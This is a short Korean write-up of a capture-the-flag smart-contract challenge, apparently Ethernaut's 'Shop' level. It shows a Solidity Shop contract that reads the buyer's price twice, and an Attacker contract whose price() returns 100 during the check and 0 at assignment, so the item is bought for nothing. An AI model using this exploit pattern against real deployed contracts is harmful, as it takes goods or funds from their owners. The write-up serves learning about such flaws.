// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint);
}
contract Shop {
uint public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
우리의 mission은 현재 가격보다 낮게 물건을 사야 한다.
현재 물건을 팔리지 않았고 가격은 100 token이다.
이 문제는 Elevator랑 비슷한 문제이다. if문을 보면 _buyer.price()로 먼저 price보다 큰지 확인하고 맞으면 price는 _buyer.price()가 된다.
그럼 price()가 if문에서는 100보다 크고, price에 대입할 때는 100보다 작으면 된다.
contract Attacker{
Shop shop;
constructor(address _address) public {
shop = Shop(_address);
}
function price() external view returns(uint) {
return shop.isSold() ? 0 : 100;
}
function Attack() public {
shop.buy();
}
}
Attack을 누른 결과 물건은 팔렸고 가격은 0원으로 공짜로 얻었따!!